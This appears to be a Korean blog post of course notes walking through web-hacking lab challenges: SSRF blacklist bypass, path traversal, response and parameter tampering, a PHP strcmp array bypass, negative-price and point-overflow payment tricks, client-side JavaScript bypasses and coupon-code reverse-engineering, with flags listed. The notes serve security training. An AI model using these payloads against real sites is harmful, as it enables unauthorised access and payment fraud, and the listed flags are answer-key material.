SSRF 4번은 보안 정책이 강화된 1번 문제다.

원하는 입력값을 넣으면, 몇몇 단어가 블랙리스트로 걸려 제출되지 않는 것을 확인할 수 있다.
즉, 보안 정책은 file 파라미터로 얻은 이름을 블랙리스트로 걸러내는 것이다.

해당 문제에서 타겟으로 잡는 페이지는 아래와 같다.
http://normalskinfosec2.com:8080/include/db_conf.php

이를 URL 단축 사이트(https://lrl.kr/)를 통해 블랙리스트 단어를 우회한다.
https://lrl.kr/weGe

이 URL로 다시 요청하면, 정보를 보여주는 것을 확인할 수 있다.
self::$instance = new db( "127.0.0.1" , "ssrf_user" , "admin_will_be_fired" , "skinfosec" );

플래그는
admin_will_be_fired


- Directory Indexing
Google hacking. 구글의 검색 엔진을 이용하여 디렉토리를 찾아내는 공격기법.
보통 서버 미설정으로 발생하며, 웹 페이지 디렉토리가 그대로 구글 검색 엔진에 노출되는 취약점이다.

구글을 이용한 해킹이라 난이도가 굉장히 낮으며, 검색 효과가 뛰어나기에 있다면 상당히 곤란한 취약점.
방어법은 실로 간단한데, 서버 설정에서 검색엔진에 노출되지 않게 설정하면 된다.

- 파일 다운로드
파일을 다운로드 하는 기능이 있을 때, 이를 이용하여 정보를 가져오는 취약점.
보통 Directory Indexing과 같이 사용하며, 경로를 알아낸 후 파일을 얻어오게 된다.

대응법은 파일 저장 시, 파일을 다른곳으로 한 데 모아놓고 DB로 이를 관리하면 된다.
또, 직접 이동시 탐색을 막기 위해 파일 업로드 시 랜덤한 이름의 디렉토리를 만들어 관리한다.
이렇게되면 디렉토리 탐색을 상당히 어렵게 만들 수 있다.

불완전한 방식이나 영문자, 숫자, 마침표 등의 문자를 제외한 특수문자를 화이트 리스트로 등록해도 된다.


=== 파일 다운로드 1 ===
문제의 목표는 /answer1/down.txt의 절대경로의 파일이다.

현재 위치는 https://elms2.skinfosec.co.kr:8083/exam26/faq.php
목표 값을 얻기 위해 경로를 수정한다.

https://elms2.skinfosec.co.kr:8083/exam26/answer1/down.txt

플래그는
file_upload_answer

=== 파일 다운로드 2 ===


이를 위해 사이트에 아무 파일이나 올려놓고 파일 다운로드를 burp로 잡아본다.

/lib/file/faq/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202024-03-14%20022814.png
해당

../../../../../../../../../answer1/down.txt

=== 파라미터 변조 1 ===

해당 로그인 시도 후 Burp로 잡으면
result:N이라는 값이 보인다.
이를 Y로 변경한 후 전송하면 정답 화면이 보인다.

플래그는
certification

=== 파라미터 변조 2 ===
login@eqst.com
infosec123

해당 계정으로 로그인 시도 후 Burp로 잡으면
result:NC라는 값이 보인다.
이를 Y로 변경한 후 전송하면 정답 화면이 보인다.

플래그는
eqst_loginanswer

=== 파라미터 변조 4 ===

answerxss@xss.com

해당 계정으로 로그인 시도 후 Burp로 잡으면
result:N이라는 값이 보인다.
이를 Y로 변경한 후 전송하면, 로그인은 성공했지만 해당 계정으로 로그인이 되지 않아 정답이 나오지 않는 모습을 볼 수 있다.

제공한 소스 코드를 보면, 해당 로그인 인증 과정 코드를 볼 수 있다.
if (strcmp(POST("login_id"),"answerxss@xss.com")==0&&strcmp(POST("login_pwd"),"asdfaffwfeeff")==0)
여기서 집중해야할 부분은 strcmp이다. strcmp는 두 입력값을 받아 비교하는 함수로, 같다면 TURE, 틀리면 FALSE를 반환하는 함수다.
이 함수에는 치명적인 결함이 하나 있는데, 바로 느슨한 비교 취약점이다. 이는 타입이 서로 다른 두 값을 이 함수로 비교를 시도했을 시, 에러가 나오지 않고 NULL값을 반환한다는 취약점이다.
NULL == 0을 완성시키는 것이 이 문제의 목표다.

해당 코드는 비밀번호를 알려주지 않았으므로, 전송한 비밀번호 값은 POST로 전달된다. 여기서, 전달값을 문자열이 아닌 배열로 넘겨주게 된다면, strcmp는 배열과 문자열을 비교할 것이고, 이는 NULL값을 반환할 것이다.

로그인을 시도 후 Burp로 잡고
비밀번호 파라미터를 login_pwd[]=igDtgyND%2BmVZ59bh로 변경하면
로그인이 되는 것을 확인할 수 있다.

플래그는
php_comparisons

=== 쇼핑몰 4번 ===

비밀번호 질문 페이지에서 비밀번호 변경 페이지로 넘어갈 때, html상의 폼으로 id값을 받아오는 과정을 진행한다.
이후 encryptid 값이 추출되는 것을 보아 "서버에 저장된 id를 받아 온 후 암호화를 진행"하는 순서로 암호화가 진행되는 것으로 판단한다.

따라서, 비밀번호 질문 페이지에서 응답으로 id를 받아온 후, 암호화가 진행되기 전 html상에서 id의 value값을 변경하여 제출하면, 기존 아이디가 암호화된 구문이 아닌, admin이름이 암호화된 구문이 나오게 된다.

이를 사용하여 비밀번호를 제출하면 로그인이 된다.

플래그는
encrypted_memberid

=== 쇼핑몰 7번 ===

해당 포인트는 setpoint를 input으로 받고 있다.
그러나 해당 form을 제출하면, setpoint를 받는 파라미터는 없다.
따라서, 이 파라미터를 강제로 생성하여 값을 입력하면 문제가 풀린다.

&setpoint=99999

플래그는
point_of_no_return

=== 쇼핑몰 12번 ===

해당 페이지의 일반적인 묻고 답하기 섹션에서, 글 작성을 누르면 아래 페이지로 이동한다.
/write
따라서, 공지사항 섹션인 /notice에서 해당 페이지로 진입하면, 수정 페이지로 이동한다.

마찬가지로 묻고 답하기 섹션의 페이지 삭제는 아래 페이지로 이동한다.
/deletebyid?id=3119
따라서, 삭제하고 싶은 id를 넣고 공지사항 섹션인 /notice에서 해당 페이지로 진입하면, 삭제된다.

플래그는
authority_and_authentication

=== 쇼핑몰 13번 ===

앞서, 관리자의 진짜 id가 이것이다.
id : admin/이름: 관리자
id=3129&page=0

해당 관리자가 작성한 게시물의 html을 작성하면 다음 정보를 확인할 수 있다.
<input type="hidden" id="writerid" value="224">

즉, 관리자의 id는 224라는 정보를 획득하였다.

일반 게시판에 아무 글이나 작성하고, 글 수정 후 Burp로 잡으면, 파라미터가 아래 제출되는 것을 확인할 수 있다.
여기에 파라미터로 &writerid=224를 강제로 주입하면, 글 작성은 되었지만 작성자가 달라져 목록으로 팅겨나오게 된다.

다시 목록으로 돌아가 해당 게시물을 확인하면, 작성자가 관리자(admin)으로 변경되어 있는 것을 확인할 수 있다.

그 후, 일반 게시물의 주소인 /qna에 삭제 주소인 /removebyid?id=7316(id값은 작성글에 따라 달라짐)을 연결하면 문제가 해결된다.

플래그는
writerid_in_notice_view

=== 쇼핑몰 8번 ===

쇼핑몰의 상품 결제 시 다음과 같은 파라미터가 전송된다.
price1=2%2C760%2C000%EC%9B%90&price2=100&count=1&membername=VVVVVV&email=vvvvvv%40vvv.com&phone=11111111111&ordername=VVVVVV&ordertel=11111111111&addr1=%E3%85%8E%E3%85%8E&addr2=%E3%85%A3%E3%85%A3%E3%85%A3&memo=%EB%B0%B0%EC%86%A1+%EC%A0%84+%EC%97%B0%EB%9D%BD%EB%B0%94%EB%9E%8D%EB%8B%88%EB%8B%A4.&couponid=0&point=300&usepoint=0&baseprice=productdefault&shipmentfee=300&discount=couponandpoint&payment=eqstpay&totalprice=400&pointsave=500

여기서 상품 가격에 영향을 주는 파라미터는 shipmentfee로, 이 값을 음수로 수정하여 값을 100원으로 만든다.
shipmentfee=-2759900

플래그는
shipmentfee_cannot_be_negative

=== 쇼핑몰 9번 ===

쇼핑몰의 상품 결제 화면으로 넘어갈 때, 포인트를 다루는 필드가 존재한다.
여기에 해당하는 값을 999,999,999로 수정하면, 포인트가 바뀌는 것을 확인할 수 있다.

쇼핑몰의 상품 결제 시 다음과 같은 파라미터가 전송된다.
price1=100%EC%9B%90&price2=100&count=1&membername=VVVVVV&email=vvvvvv%40vvv.com&phone=11111111111&ordername=VVVVVV&ordertel=11111111111&addr1=%E3%85%8E%E3%85%8E&addr2=%E3%85%A3%E3%85%A3%E3%85%A3&memo=%EB%B0%B0%EC%86%A1+%EC%A0%84+%EC%97%B0%EB%9D%BD%EB%B0%94%EB%9E%8D%EB%8B%88%EB%8B%A4.&couponid=0&point=300&usepoint=300&baseprice=100&shipmentfee=300&discount=100&payment=eqstpay&totalprice=400&pointsave=500

여기서 상품 가격에 영향을 주는 파라미터는 point, usepoint로, 각각 보유 포인트, 사용할 포인트다.
이를 point=999,999,999로, usepoint=2,759,000로 설정한 후 전송하면 결제가 된다.

플래그는
point_overflow

=== 쇼핑몰 10번 ===

쇼핑몰의 상품 결제 화면에서 넘어가는 파라미터는 완벽하게 방어가 되었다.

그러나 팝업으로 뜨는 최종 결제화면에서, GET 요청을 두번 나오게 된다.
한번은 팝업이 뜨기 전, 나머지 한번은 팝업에서 결제 요청을 보낸 직후 두번이 전송된다.

이 GET 요청에는 totalprice를 파라미터로 전송하고 있으며
이 두번의 전송의 totalprice 값을 전부 100으로 고치면 100원 결제가 이루어진다.

플래그는
payment_with_eqstpay

- JavaScript 변조
요청을 전송 후 들어오는 응답 중 JavaScript를 변조하여 원하는 요청을 보내는 공격 기법.

과거 브라우저의 역할을 최소화하고 서버에서 전부 처리하던 시대와 달리,
속도, 과부화 등의 문제로 데이터를 주고받는 것을 최소화하고 프론트와 서버에서 처리하는 방향으로 웹 환경이 달라졌다.
이말은 클라이언트에 중요한 데이터 처리를 맡긴다는 소리고, 개발자들이 멍청하지 않고서는 이 데이터 처리 코드를 그대로 전송하지 않을 것이다.

이에 사용하는 것이, JavaScript를 읽기 어렵게 하지만, 실행 자체는 되도록 만들게 한다.
이를 난독화라고 하며, 여러가지 솔루션이 있지만 주로 사용하는 것은 jquery다.
jquery는 함수와 코드의 형태는 그대로 놔두되, 함수의 이름과 변수, 매개 변수의 이름을 의미없는 짧은 알파벳으로 변경하여 읽기 어렵게 만드는 솔루션이다.
가령, 아래와 같은 형태로 사용할 수 있다.
document.getElementById("login_id") -> $('#login_id')
document.getElementsByClassname("blue") -> $(".blue")
사실 jquery는 이런 용도로 만들어진 것이 아닌, 길고 긴 바닐라 JS를 좀 줄여서 편하게 사용하자는 취지로 개발되었다. 그러나 줄여주는 코드량이 획기적이고 난독화에도 뛰어난 성능을 보여 이런 용도로 사용되게 되었다.

=== 파라미터 변조 3 ===

해당 페이지의 소스를 보면, 자바스크립트를 2종류로 받아오고 있는 것을 확인할 수 있다.
외부 라이브러리를 받아와 이를 참조하고 있는 부분과,
내부 자바스크립트를 선언하고 실행하고 있는 부분.

주목해야하는 부분은 noticewrite함수다.
이 함수는 관리자 계정을 확인하고 그 후 글 작성 페이지 이동 여부를 결정한다.
이 함수를 콘솔로 호출하여 원하는 값을 주고 이를 실행한다.
noticewrite("Y")

=== 쇼핑몰 5번 ===
해당 회원가입 페이지에서 비밀번호를 입력했을 때, 비밀번호 제한이 걸린다.
이는 해당 소스를 확인할 수 없고, 전송하고 이를 Burp로 파라미터로 바꿔도 암호화가 되어 전송되므로 실패한다.

해당 페이지의 소스를 보면, 비밀번호 제출 form에 "return inputCheck()라는 함수가 제출시 반환되도록 설정되어 있다. 즉, 이 소스가 참고하고 있는 js중 inputCheck()함수를 찾아야한다.
해당 페이지의 개발자 도구에서, 소스 탭의 검색 기능을 사용하여 inputCheck() 함수를 탐색하면, practice5.js에 해당 소스코드가 이 함수를 선언하고 있다.

해당 함수의 코드는 2부분으로 이루어져 있는데, 입력 값 검증과 입력 값 암호화로 이루어져 있다. 이때, 이 함수의 입력 값 암호화 부분을 놔두고 입력 값 검증 부분을 날리면 입력 값을 어느 글자로 넣어도 정상적인 작동이 될 것이다.

페이지를 재요청하여 Burp에서 이를 잡다가, practice5.js의 응답 값이 올 때, 해당 함수의 해당 부분을 지우면, JS가 동작하지 않는 채로 페이지가 로딩된다.

이 상태로 비밀번호를 제출하면, 문제가 해결된다.

플래그는
javascript_filtering

- E2E Encryption
End to End의 약어. 사용자 데이터가 클라이언트까지 전달되건, 클라이언트의 정보가 서버까지 전달되건 간에, 데이터의 시작지점부터 끝 지점까지 전부 암호화가 되어 관리하는 보안 관리 시스템을 칭한다.
우리나라에선 금융권 솔루션에서 상당히 많이 사용하였으며, 주로 키보드 보안 솔루션에서 사용했다. 그러나 알다시피 이 키보드 보안 솔루션에서 문제가 상당히 많이 발생했기 때문에, 2013년에 확장 E2E로 개선하였다.

이 시스템의 우회는 복호화가 되는 시점을 찾는 것이다. E2E 솔루션을 사용하였다고 하더라도, 구간별 암호화 방식이 다르다면 복호화가 되는 시점이 분명이 존재한다. 이를 노려 복호화 된 원문을 탈취하면 큰 수고를 들이지 않고 원문을 획득할 수 있다.

=== 쇼핑몰 6번 ===
해당 페이지를 접속 시 head와 body사이에 JS 코드 2개를 받는 것을 확인할 수 있다.

이에, 관리자 도구를 열어 pratice06.js를 확인하면, 맨 아래 해당 내용을 확인할 수 있다.

passphrase = "useworldseyongkim";
...
CryptoJS.AES.encrypt(text, passphrase).toString();

이를 이용하여 콘솔에 해당 함수를 호출하여 admin 아이디를 암호화하면 다음 결과를 획득할 수 있다.

CryptoJS.AES.encrypt("admin", "useworldseyongkim").toString();
U2FsdGVkX1/MjfLviH9AIMVCnlY6HrdO/9l6tL7UygM=

플래그는
parameter_encryption

=== 쇼핑몰 11번 ===

결제 화면 페이지를 접속 시 pratice11.js 코드를 받는 것을 확인할 수 있다.

해당 JS 코드를 확인하면 아래와 같은 과정을 거치는 것을 확인할 수 있다.
var param = getFormData();
e2edatasend(param);

이 과정 사이에 다음 코드를 넣는다.
param = prompt(param, param);

결과적으로, 결제 창을 누를 때 알람 창이 뜨면서 값을 수정 가능하다.

플래그는
end_to_end_encryption

=== 쇼핑몰 15번 ===

해당 파일을 열면, pratice15.js를 확인할 수 있고, 여기서 couponValidation()함수를 볼 수 있다.
이 함수는 쿠폰 번호 검증 함수인 것으로, 서버에 저장된 쿠폰 번호 검증 과정을 코드로 보여 준 것이다. 이를 역연산하면, 쿠폰 번호를 유추할 수 있다.

해당 함수를 분석하면 아래와 같다.

쿠폰 번호 구성
- 첫 4자리는 고정된 접두사 Eqst
- 다음 4자리는 현재 시간을 기반으로 한 값 (couponfront)
- 그 다음 4자리는 회원 ID를 기반으로 한 값 (couponmiddle)
- 마지막 2자리는 쿠폰 번호의 첫 13자리를 MD5 해시한 값의 앞 2자리
- 13번째 자리는 모른다.
couponfront의 계산은 현재 시간을 밀리초 단위로 가져온 후, 1,000,000으로 나눈 나머지는 10,000으로 모듈 연산하여 얻은 결과의 각 자리수를 charSet 배열에 대응시켜 문자열 생성
couponmiddle의 계산은 회원 ID의 각 문자의 ASCII 값을 모두 더하고, 기본값 810을 더한 후, 그 결과의 각 자리수를 charSet 배열에 대응시켜 문자열 생성

이렇게 생성된 쿠폰번호 12자리와 어떤 13번째 문자를 MD5 암호화를 거쳐 마지막 14,15번째 문자와 받으면 쿠폰 검증이 풀린다.

하나하나 알아가보자.
첫 4자리는 Eqst

그 다음 4자리는 현재 시간을 기반으로 한다.
Math.floor(new Date().getTime() / 1000000 % 10000).toString()
해당 함수를 실행하면, 현재 시간 변수는 1008.
해당 값에 대응되는 값은, "eSSi"

그 다음 4자리는 회원 ID를 기반으로 한다.
기본 값인 810에, 회원 ID의 아스키코드를 전부 더한 값.
회원 ID는 VVVVVV, 아스키코드 값은 516
따라서, 두 값을 합치면 1326
해당 값에 대응되는 값은, "eoy-"

마지막 두 자리는 서버에서 받아오는 값.
해당 명령어를 이용해 얻어온다.
$('#md5hash').val()
이 값을 이용해 13번째 값을 유추한다.

EqsteSSieoy-117

플래그는
manners_maketh_coupons

'실더스 루키즈 교육' 카테고리의 다른 글

41. 소스코드 취약점 진단  (0) 2024.03.06
40. 취약점 진단 실습 3  (0) 2024.02.28
39. 취약점 진단 실습 2  (0) 2024.02.27
38. 취약점 진단 실습 1  (0) 2024.02.26
37. 도커 파일과 도커 컴포즈  (0) 2024.02.23